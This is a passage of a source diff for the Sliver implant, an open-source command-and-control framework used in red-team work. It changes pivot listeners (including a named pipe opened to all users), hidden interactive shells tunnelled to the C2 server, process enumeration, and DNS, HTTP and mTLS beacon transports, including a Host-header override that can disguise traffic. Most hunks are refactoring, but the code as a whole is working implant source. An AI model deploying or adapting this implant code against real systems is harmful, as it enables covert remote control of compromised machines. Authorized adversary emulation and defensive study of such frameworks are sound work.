+// TODO impl
+func (c *socks) SetDeadline(t time.Time) error {
+	return nil
+}
+
+// TODO impl
+func (c *socks) SetReadDeadline(t time.Time) error {
+	return nil
+}
+
+// TODO impl
+func (c *socks) SetWriteDeadline(t time.Time) error {
+	return nil
+}

implant/sliver/handlers/tunnel_handlers/tunnel_writer.go

@@ -0,0 +1,56 @@
+package tunnel_handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+// tunnelWriter - Sends data back to the server based on data read()
+// I know the reader/writer stuff is a little hard to keep track of
+type tunnelWriter struct {
+	tun  *transports.Tunnel
+	conn *transports.Connection
+}
+
+func (tw tunnelWriter) Write(data []byte) (int, error) {
+	n := len(data)
+	data, err := proto.Marshal(&sliverpb.TunnelData{
+		Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
+		Ack:      tw.tun.ReadSequence(),
+		TunnelID: tw.tun.ID,
+		Data:     data,
+	})
+	// {{if .Config.Debug}}
+	log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
+	// {{end}}
+	tw.tun.IncWriteSequence() // Increment write sequence
+	tw.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgTunnelData,
+		Data: data,
+	}
+	return n, err
+}

implant/sliver/handlers/tunnel_handlers/utils.go

@@ -0,0 +1,31 @@
+package tunnel_handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+func reportError(envelope *sliverpb.Envelope, connection *transports.Connection, data []byte) {
+	connection.Send <- &sliverpb.Envelope{
+		Data: data,
+		ID:   envelope.ID,
+	}
+}

implant/sliver/hostuuid/uuid_windows.go

@@ -1,6 +1,3 @@
-//go:build windows
-// +build windows
-
 package hostuuid
 
 /*

implant/sliver/limits/limits_windows.go

@@ -1,3 +1,5 @@
+//go:build 386 || amd64 || arm
+
 package limits
 
 /*

implant/sliver/pivots/named-pipe_windows.go

@@ -31,17 +31,25 @@ import (
 	"github.com/lesnuages/go-winio"
 )
 
+const PipeAllowAllAccess = 0
+
 var (
 	namedpipePivotReadDeadline  = 10 * time.Second
 	namedpipePivotWriteDeadline = 10 * time.Second
 )
 
 // CreateNamedPipePivotListener - Starts a named pipe listener
-func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
+func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
 	fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
+	sd := ""
+	if len(opts) > 0 {
+		if opts[PipeAllowAllAccess] {
+			sd = "D:(A;;0x1f019f;;;WD)" // open to all
+		}
+	}
 	ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
-		//SecurityDescriptor: "",
-		RemoteClientMode: true,
+		SecurityDescriptor: sd,
+		RemoteClientMode:   true,
 	})
 	// {{if .Config.Debug}}
 	log.Printf("Listening on named pipe %s", fullName)
@@ -56,6 +64,7 @@ func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope)
 		PivotConnections: &sync.Map{},
 		BindAddress:      fullName,
 		Upstream:         upstream,
+		Options:          opts,
 	}
 	go namedPipeAcceptConnections(pivotLn)
 	return pivotLn, nil

implant/sliver/pivots/pivots.go

@@ -24,6 +24,7 @@ import (
 	"encoding/base64"
 	"encoding/binary"
 	"errors"
+	"io"
 	"net"
 	"sync"
 	"time"
@@ -38,10 +39,6 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
-const (
-	readBufSize = 1024
-)
-
 var (
 	// ErrFailedWrite - Failed to write to a connection
 	ErrFailedWrite = errors.New("failed to write")
@@ -75,7 +72,7 @@ func generatePeerID() int64 {
 }
 
 // CreateListener - Generic interface to a start listener function
-type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
+type CreateListener func(string, chan<- *pb.Envelope, ...bool) (*PivotListener, error)
 
 // GetListeners - Get a list of active listeners
 func GetListeners() []*pb.PivotListener {
@@ -109,18 +106,19 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
 	stoppedPivotListeners.Range(func(key, value interface{}) bool {
 		stoppedListener := value.(*PivotListener)
 		if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
-			listener, err := createListener(stoppedListener.BindAddress, send)
+			listener, err := createListener(stoppedListener.BindAddress, send, stoppedListener.Options...)
 			if err != nil {
 				// {{if .Config.Debug}}
 				log.Printf("[pivot] failed to restart listener: %s", err)
 				// {{end}}
+				return false
 			}
 			go listener.Start()
 			AddListener(listener)
 		}
 		return true
 	})
-	stoppedPivotListeners = nil
+	stoppedPivotListeners = &sync.Map{}
 }
 
 // StopAllListeners - Stop all pivot listeners
@@ -210,6 +208,7 @@ type PivotListener struct {
 	PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
 	BindAddress      string
 	Upstream         chan<- *pb.Envelope
+	Options          []bool
 }
 
 // ToProtobuf - Get the protobuf version of the pivot listener
@@ -476,7 +475,9 @@ func (p *NetConnPivot) read() ([]byte, error) {
 	p.readMutex.Lock()
 	defer p.readMutex.Unlock()
 	dataLengthBuf := make([]byte, 4)
-	n, err := p.conn.Read(dataLengthBuf)
+
+	n, err := io.ReadFull(p.conn, dataLengthBuf)
+
 	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -485,23 +486,23 @@ func (p *NetConnPivot) read() ([]byte, error) {
 	}
 
 	dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
-	readBuf := make([]byte, readBufSize)
-	dataBuf := []byte{}
-	totalRead := 0
-	for {
-		n, err := p.conn.Read(readBuf)
-		dataBuf = append(dataBuf, readBuf[:n]...)
-		totalRead += n
-		if totalRead == dataLength {
-			break
-		}
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("[pivot] read error: %s\n", err)
-			// {{end}}
-			return nil, err
-		}
+	if dataLength <= 0 {
+		// {{if .Config.Debug}}
+		log.Printf("[pivot] read error: %s\n", err)
+		// {{end}}
+		return nil, errors.New("[pivot] zero data length")
 	}
+	dataBuf := make([]byte, dataLength)
+
+	n, err = io.ReadFull(p.conn, dataBuf)
+
+	if err != nil || n != dataLength {
+		// {{if .Config.Debug}}
+		log.Printf("[pivot] read error: %s\n", err)
+		// {{end}}
+		return nil, err
+	}
+
 	return dataBuf, err
 }
 

implant/sliver/pivots/tcp.go

@@ -36,7 +36,7 @@ var (
 )
 
 // CreateTCPPivotListener - Start a TCP listener
-func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
+func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
 	// {{if .Config.Debug}}
 	log.Printf("Starting TCP pivot listener on %s", address)
 	// {{end}}

implant/sliver/ps/ps.go

@@ -25,6 +25,9 @@ type Process interface {
 
 	// Owner is the account name of the process owner.
 	Owner() string
+
+	// Architecture is the architecture of the process.
+	Architecture() string
 }
 
 // Processes returns all processes.

implant/sliver/ps/ps_darwin.go

@@ -19,6 +19,7 @@ type DarwinProcess struct {
 	ppid    int
 	binary  string
 	owner   string
+	arch    string
 	cmdLine []string
 }
 
@@ -42,6 +43,10 @@ func (p *DarwinProcess) CmdLine() []string {
 	return p.cmdLine
 }
 
+func (p *DarwinProcess) Architecture() string {
+	return p.arch
+}
+
 func findProcess(pid int) (Process, error) {
 	ps, err := processes()
 	if err != nil {
@@ -98,6 +103,7 @@ func processes() ([]Process, error) {
 		if owner == "" {
 			owner = uid
 		}
+		arch := ""
 
 		darwinProcs[i] = &DarwinProcess{
 			pid:     int(p.Proc.P_pid),
@@ -105,6 +111,7 @@ func processes() ([]Process, error) {
 			binary:  binPath,
 			owner:   owner,
 			cmdLine: cmdLine,
+			arch:    arch,
 		}
 	}
 

implant/sliver/ps/ps_linux.go

@@ -21,6 +21,7 @@ type UnixProcess struct {
 	state   rune
 	pgrp    int
 	sid     int
+	arch    string
 	cmdLine []string
 
 	binary string
@@ -51,6 +52,10 @@ func (p *UnixProcess) CmdLine() []string {
 	return p.cmdLine
 }
 
+func (p *UnixProcess) Architecture() string {
+	return p.arch
+}
+
 func getProcessOwnerUid(pid int) (uint32, error) {
 	filename := fmt.Sprintf("/proc/%d/task", pid)
 	f, err := os.Open(filename)
@@ -89,6 +94,38 @@ func getProcessCmdLine(pid int) ([]string, error) {
 	return argv, nil
 }
 
+func getProcessArchitecture(pid int) (string, error) {
+	exePath := fmt.Sprintf("/proc/%d/exe", pid)
+
+	f, err := os.Open(exePath)
+	if err != nil {
+		return "", err
+	}
+	_, err = f.Seek(0x12, 0)
+	if err != nil {
+		return "", err
+	}
+	mach := make([]byte, 2)
+	n, err := io.ReadAtLeast(f, mach, 2)
+
+	f.Close()
+
+	if err != nil || n < 2 {
+		return "", nil
+	}
+
+	if mach[0] == 0xb3 {
+		return "aarch64", nil
+	}
+	if mach[0] == 0x03 {
+		return "x86", nil
+	}
+	if mach[0] == 0x3e {
+		return "x86_64", nil
+	}
+	return "", err
+}
+
 // Refresh reloads all the data associated with this process.
 func (p *UnixProcess) Refresh() error {
 	statPath := fmt.Sprintf("/proc/%d/stat", p.pid)
@@ -176,6 +213,7 @@ func processes() ([]Process, error) {
 					p.binary = argv[0]
 				}
 			}
+			p.arch, err = getProcessArchitecture(int(pid))
 			results = append(results, p)
 		}
 	}

implant/sliver/ps/ps_windows.go

@@ -7,6 +7,7 @@ import (
 	"fmt"
 	"github.com/bishopfox/sliver/implant/sliver/syscalls"
 	"golang.org/x/sys/windows"
+	"runtime"
 	"strings"
 	"syscall"
 	"unsafe"
@@ -18,6 +19,7 @@ type WindowsProcess struct {
 	ppid      int
 	exe       string
 	owner     string
+	arch      string
 	cmdLine   []string
 	sessionID int
 }
@@ -38,6 +40,10 @@ func (p *WindowsProcess) Owner() string {
 	return p.owner
 }
 
+func (p *WindowsProcess) Architecture() string {
+	return p.arch
+}
+
 func (p *WindowsProcess) CmdLine() []string {
 	return p.cmdLine
 }
@@ -58,6 +64,7 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
 	account, _ := getProcessOwner(e.ProcessID)
 	sessionID, _ := getSessionID(e.ProcessID)
 	cmdLine, _ := getCmdLine(e.ProcessID)
+	arch, _ := getProcessArchitecture(e.ProcessID)
 
 	return &WindowsProcess{
 		pid:       int(e.ProcessID),
@@ -65,6 +72,7 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
 		exe:       syscall.UTF16ToString(e.ExeFile[:end]),
 		owner:     account,
 		cmdLine:   cmdLine,
+		arch:      arch,
 		sessionID: sessionID,
 	}
 }
@@ -237,6 +245,7 @@ func getCmdLine(pid uint32) ([]string, error) {
 		return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
 	}
 
+
 	err = syscall.CloseHandle(proc)
 	if err != nil {
 		return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
@@ -245,6 +254,66 @@ func getCmdLine(pid uint32) ([]string, error) {
 	return strings.Fields(syscall.UTF16ToString(module.SzExePath[:]) + " : " + syscall.UTF16ToString(cmdLine[:])), nil
 }
 
+var nativeArch string = ""
+var nativeArchLookup bool = true
+
+func getProcessArchitecture(pid uint32) (string, error) {
+
+	if nativeArchLookup {
+		nativeArchLookup = false
+		if runtime.GOARCH == "amd64" {
+			nativeArch = "x86_64"
+		} else {
+			var is64Bit bool
+			pHandle, _ := windows.GetCurrentProcess()
+			if uint(pHandle) == 0 {
+				nativeArch = ""
+			} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
+				nativeArch = ""
+			} else {
+				if !is64Bit {
+					nativeArch = "x86"
+				} else {
+					nativeArch = "x86_64"
+				}
+			}
+		}
+	}
+
+	proc, err := syscall.OpenProcess(
+		windows.PROCESS_QUERY_INFORMATION,
+		false,
+		pid,
+	)
+	if err != nil {
+		proc, err = syscall.OpenProcess(
+			windows.PROCESS_QUERY_LIMITED_INFORMATION,
+			false,
+			pid,
+		)
+		if err != nil {
+			return "", err
+		}
+	}
+
+	arch := ""
+	var isWow64 bool
+	if err := windows.IsWow64Process(windows.Handle(proc), &isWow64); err == nil {
+		if isWow64 {
+			arch = "x86"
+		} else {
+			arch = nativeArch
+		}
+	}
+
+	err = syscall.CloseHandle(proc)
+	if err != nil {
+		return "", err
+	}
+
+	return arch, err
+}
+
 func getSessionID(pid uint32) (int, error) {
 	var sessionID uint32
 	err := windows.ProcessIdToSessionId(pid, &sessionID)

implant/sliver/shell/shell-pty.go

@@ -26,6 +26,7 @@ import (
 	"log"
 	// {{end}}
 
+	"context"
 	"os/exec"
 
 	"github.com/bishopfox/sliver/implant/sliver/shell/pty"
@@ -44,63 +45,83 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
+func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
 	if enablePty {
 		return ptyShell(tunnelID, command)
 	}
 	return pipedShell(tunnelID, command)
 }
 
-func pipedShell(tunnelID uint64, command []string) *Shell {
+func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	cmd := exec.Command(command[0], command[1:]...)
+	ctx, cancel := context.WithCancel(context.Background())
+
+	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
 	stdin, err := cmd.StdinPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdin pipe failed\n")
 		// {{end}}
-		return nil
+		cancel()
+		return nil, err
 	}
 	stdout, err := cmd.StdoutPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdout pipe failed\n")
 		// {{end}}
-		return nil
+		cancel()
+		return nil, err
 	}
 
+	stderr, err := cmd.StderrPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stderr pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
+	}
+
+	err = cmd.Start()
+
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
-	}
+		Stderr:  stderr,
+		Cancel:  cancel,
+	}, err
 }
 
-func ptyShell(tunnelID uint64, command []string) *Shell {
+func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[ptmx] %s", command)
 	// {{end}}
 
-	cmd := exec.Command(command[0], command[1:]...)
+	ctx, cancel := context.WithCancel(context.Background())
+
+	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
 	term, err := pty.Start(cmd)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[term] %v, falling back to piped shell...", err)
 		// {{end}}
+		cancel()
 		return pipedShell(tunnelID, command)
 	}
-	cmd.Start()
 
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  term,
 		Stdin:   term,
-	}
+		Cancel:  cancel,
+	}, err
 }
 
 // GetSystemShellPath - Find bash or sh

implant/sliver/shell/shell.go

@@ -19,6 +19,7 @@ package shell
 */
 
 import (
+	"context"
 	"io"
 	"os"
 	"os/exec"
@@ -30,12 +31,25 @@ type Shell struct {
 	Command *exec.Cmd
 	Stdout  io.ReadCloser
 	Stdin   io.WriteCloser
+	Stderr  io.ReadCloser
+	Cancel  context.CancelFunc
 }
 
-// StartAndWait starts a system shell then waits for it to complete
-func (s *Shell) StartAndWait() {
-	s.Command.Start()
-	s.Command.Wait()
+// Start - starts a command
+func (s *Shell) Start() error {
+	return s.Command.Start()
+}
+
+// Wait - waits till the command finish
+func (s *Shell) Wait() error {
+	return s.Command.Wait()
+}
+
+// Stop - stopping the command (syskill) using context cancel
+func (s *Shell) Stop() {
+	if s.Cancel != nil {
+		s.Cancel()
+	}
 }
 
 func exists(path string) bool {

implant/sliver/shell/shell_generic.go

@@ -26,6 +26,7 @@ import (
 	"log"
 	// {{end}}
 
+	"context"
 	"os/exec"
 )
 
@@ -42,29 +43,42 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
+func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
 	return pipedShell(tunnelID, command)
 }
 
-func pipedShell(tunnelID uint64, command []string) *Shell {
+func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	cmd := exec.Command(command[0], command[1:]...)
+	ctx, cancel := context.WithCancel(context.Background())
+
+	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
 	stdin, err := cmd.StdinPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdin pipe failed\n")
 		// {{end}}
-		return nil
+		cancel()
+		return nil, err
 	}
 	stdout, err := cmd.StdoutPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdout pipe failed\n")
 		// {{end}}
-		return nil
+		cancel()
+		return nil, err
+	}
+
+	stderr, err := cmd.StderrPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stderr pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
 	}
 
 	return &Shell{
@@ -72,7 +86,9 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
-	}
+		Stderr:  stderr,
+		Cancel:  cancel,
+	}, nil
 }
 
 // GetSystemShellPath - Find bash or sh

implant/sliver/shell/shell_windows.go

@@ -23,6 +23,7 @@ import (
 	"log"
 	// {{end}}
 
+	"context"
 	"github.com/bishopfox/sliver/implant/sliver/priv"
 	"golang.org/x/sys/windows"
 	"os/exec"
@@ -61,28 +62,56 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
+func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
 	return pipedShell(tunnelID, command)
 }
 
-func pipedShell(tunnelID uint64, command []string) *Shell {
+func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	var cmd *exec.Cmd
-	cmd = exec.Command(command[0], command[1:]...)
+	ctx, cancel := context.WithCancel(context.Background())
+
+	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
 	cmd.SysProcAttr = &windows.SysProcAttr{
 		Token:      syscall.Token(priv.CurrentToken),
 		HideWindow: true,
 	}
-	stdin, _ := cmd.StdinPipe()
-	stdout, _ := cmd.StdoutPipe()
+	stdin, err := cmd.StdinPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stdin pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
+	}
+	stdout, err := cmd.StdoutPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stdout pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
+	}
+
+	stderr, err := cmd.StderrPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stderr pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
+	}
+
+	err = cmd.Start()
 
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
-	}
+		Stderr:  stderr,
+		Cancel:  cancel,
+	}, err
 }

implant/sliver/sliver.go

@@ -298,7 +298,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 		Interval:    beacon.Interval(),
 		Jitter:      beacon.Jitter(),
 		Register:    register,
-		NextCheckin: nextCheckin.UTC().Unix(),
+		NextCheckin: int64(beacon.Duration().Seconds()),
 	}))
 	beacon.Close()
 	time.Sleep(time.Second)
@@ -360,7 +360,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
 	// {{end}}
 	err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
 		ID:          InstanceID,
-		NextCheckin: nextCheckin.UTC().Unix(),
+		NextCheckin: int64(beacon.Duration().Seconds()),
 	}))
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -519,6 +519,12 @@ func openSessionHandler(data []byte) {
 // {{end}} -IsBeacon
 
 func sessionMainLoop(connection *transports.Connection) error {
+	if connection == nil {
+		// {{if .Config.Debug}}
+		log.Printf("[session] nil connection!")
+		// {{end}}
+		return nil
+	}
 	err := connection.Start()
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -526,12 +532,6 @@ func sessionMainLoop(connection *transports.Connection) error {
 		// {{end}}
 		return err
 	}
-	if connection == nil {
-		// {{if .Config.Debug}}
-		log.Printf("[session] nil connection!")
-		// {{end}}
-		return nil
-	}
 	pivots.RestartAllListeners(connection.Send)
 	defer pivots.StopAllListeners()
 	defer connection.Stop()

implant/sliver/taskrunner/task_windows.go

@@ -1,5 +1,3 @@
-//go:build windows
-
 package taskrunner
 
 /*

implant/sliver/transports/beacon.go

@@ -103,7 +103,7 @@ func (b *Beacon) Duration() time.Duration {
 	// {{end}}
 	jitterDuration := time.Duration(0)
 	if 0 < b.Jitter() {
-		jitterDuration = time.Duration(int64(insecureRand.Intn(int(b.Jitter()))))
+		jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter()))
 	}
 	duration := time.Duration(b.Interval()) + jitterDuration
 	// {{if .Config.Debug}}

implant/sliver/transports/connection.go

@@ -0,0 +1,91 @@
+package transports
+
+import (
+	"net/url"
+	"sync"
+
+	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+type Connection struct {
+	Send    chan *pb.Envelope
+	Recv    chan *pb.Envelope
+	IsOpen  bool
+	ctrl    chan struct{}
+	cleanup func()
+	once    *sync.Once
+	tunnels *map[uint64]*Tunnel
+	mutex   *sync.RWMutex
+
+	uri      *url.URL
+	proxyURL *url.URL
+
+	Start Start
+	Stop  Stop
+}
+
+// URL - Get the c2 URL of the connection
+func (c *Connection) URL() string {
+	if c.uri == nil {
+		return ""
+	}
+	return c.uri.String()
+}
+
+// ProxyURL - Get the c2 URL of the connection
+func (c *Connection) ProxyURL() string {
+	if c.proxyURL == nil {
+		return ""
+	}
+	return c.proxyURL.String()
+}
+
+// Cleanup - Execute cleanup once
+func (c *Connection) Cleanup() {
+	c.once.Do(func() {
+		c.cleanup()
+		c.IsOpen = false
+		c.removeAndCloseAllTunnels()
+	})
+}
+
+// Tunnel - Add tunnel to mapping
+func (c *Connection) Tunnel(ID uint64) *Tunnel {
+	c.mutex.RLock()
+	defer c.mutex.RUnlock()
+	return (*c.tunnels)[ID]
+}
+
+// AddTunnel - Add tunnel to mapping
+func (c *Connection) AddTunnel(tun *Tunnel) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	(*c.tunnels)[tun.ID] = tun
+}
+
+// RemoveTunnel - Add tunnel to mapping
+func (c *Connection) RemoveTunnel(ID uint64) {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	delete(*c.tunnels, ID)
+}
+
+func (c *Connection) removeAndCloseAllTunnels() {
+	c.mutex.Lock()
+	defer c.mutex.Unlock()
+
+	for id, tunnel := range *c.tunnels {
+		tunnel.Close()
+
+		delete(*c.tunnels, id)
+	}
+}
+
+func (c *Connection) RequestResend(data []byte) {
+	c.Send <- &pb.Envelope{
+		Type: pb.MsgTunnelData,
+		Data: data,
+	}
+}

implant/sliver/transports/dnsclient/dnsclient.go

@@ -96,13 +96,13 @@ var (
 
 // DNSOptions - c2 specific options
 type DNSOptions struct {
-	QueryTimeout      time.Duration
-	RetryWait         time.Duration
-	RetryCount        int
-	MaxErrors         int
-	WokersPerResolver int
-	ForceBase32       bool
-	ForceResolvConf   string
+	QueryTimeout       time.Duration
+	RetryWait          time.Duration
+	RetryCount         int
+	MaxErrors          int
+	WorkersPerResolver int
+	ForceBase32        bool
+	ForceResolvConf    string
 }
 
 // ParseDNSOptions - Parse c2 specific options
@@ -134,13 +134,13 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
 	}
 
 	return &DNSOptions{
-		QueryTimeout:      queryTimeout,
-		RetryWait:         retryWait,
-		RetryCount:        retryCount,
-		MaxErrors:         maxErrors,
-		WokersPerResolver: workersPerResolver,
-		ForceBase32:       strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
-		ForceResolvConf:   c2URI.Query().Get("force-resolv-conf"),
+		QueryTimeout:       queryTimeout,
+		RetryWait:          retryWait,
+		RetryCount:         retryCount,
+		MaxErrors:          maxErrors,
+		WorkersPerResolver: workersPerResolver,
+		ForceBase32:        strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
+		ForceResolvConf:    c2URI.Query().Get("force-resolv-conf"),
 	}
 }
 
@@ -171,7 +171,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
 		retryCount:      opts.RetryCount,
 		closed:          true,
 
-		WorkersPerResolver: opts.WokersPerResolver,
+		WorkersPerResolver: opts.WorkersPerResolver,
 		subdataSpace:       254 - len(parent) - (1 + (254-len(parent))/64),
 		base32:             encoders.Base32{},
 		base58:             encoders.Base58{},

implant/sliver/transports/dnsclient/dnsclient_test.go

@@ -46,10 +46,10 @@ var (
 	parentMax = fmt.Sprintf(".%s.%s.%s.", strings.Repeat("a", 63), strings.Repeat("b", 63), strings.Repeat("c", 24))
 
 	opts = &DNSOptions{
-		QueryTimeout:      time.Duration(time.Second * 3),
-		RetryWait:         time.Duration(time.Second * 3),
-		RetryCount:        1,
-		WokersPerResolver: 1,
+		QueryTimeout:       time.Duration(time.Second * 3),
+		RetryWait:          time.Duration(time.Second * 3),
+		RetryCount:         1,
+		WorkersPerResolver: 1,
 	}
 )
 

implant/sliver/transports/httpclient/httpclient.go

@@ -70,6 +70,7 @@ type HTTPOptions struct {
 	ForceHTTP            bool
 	DisableAcceptHeader  bool
 	DisableUpgradeHeader bool
+	HostHeader           string
 
 	ProxyConfig   string
 	ProxyUsername string
@@ -109,6 +110,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
 		ForceHTTP:            c2URI.Query().Get("force-http") == "true",
 		DisableAcceptHeader:  c2URI.Query().Get("disable-accept-header") == "true",
 		DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
+		HostHeader:           c2URI.Query().Get("host-header"),
 
 		ProxyConfig:   c2URI.Query().Get("proxy"),
 		ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -221,6 +223,9 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
 
 func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
 	req, _ := http.NewRequest(method, uri.String(), body)
+	if s.Options.HostHeader != "" {
+		req.Host = s.Options.HostHeader
+	}
 	req.Header.Set("User-Agent", userAgent)
 	if method == http.MethodGet && !s.Options.DisableAcceptHeader {
 		req.Header.Set("Accept-Language", "en-US,en;q=0.9")

implant/sliver/transports/mtls/mtls.go

@@ -25,7 +25,9 @@ import (
 	"crypto/tls"
 	"crypto/x509"
 	"encoding/binary"
+	"errors"
 	"fmt"
+	"io"
 	"time"
 
 	// {{if .Config.Debug}}
@@ -43,8 +45,6 @@ var (
 	// PingInterval - Amount of time between in-band "pings"
 	PingInterval = 2 * time.Minute
 
-	readBufSize = 16 * 1024 // 16kb
-
 	// caCertPEM - PEM encoded CA certificate
 	caCertPEM = `{{.Config.MtlsCACert}}`
 
@@ -91,8 +91,8 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
 	if len(dataLengthBuf) == 0 || connection == nil {
 		panic("[[GenerateCanary]]")
 	}
-	_, err := connection.Read(dataLengthBuf)
-	if err != nil {
+	n, err := io.ReadFull(connection, dataLengthBuf)
+	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("Socket error (read msg-length): %v\n", err)
 		// {{end}}
@@ -100,23 +100,22 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
 	}
 	dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
 
-	// Read the length of the data
-	readBuf := make([]byte, readBufSize)
-	dataBuf := make([]byte, 0)
-	totalRead := 0
-	for {
-		n, err := connection.Read(readBuf)
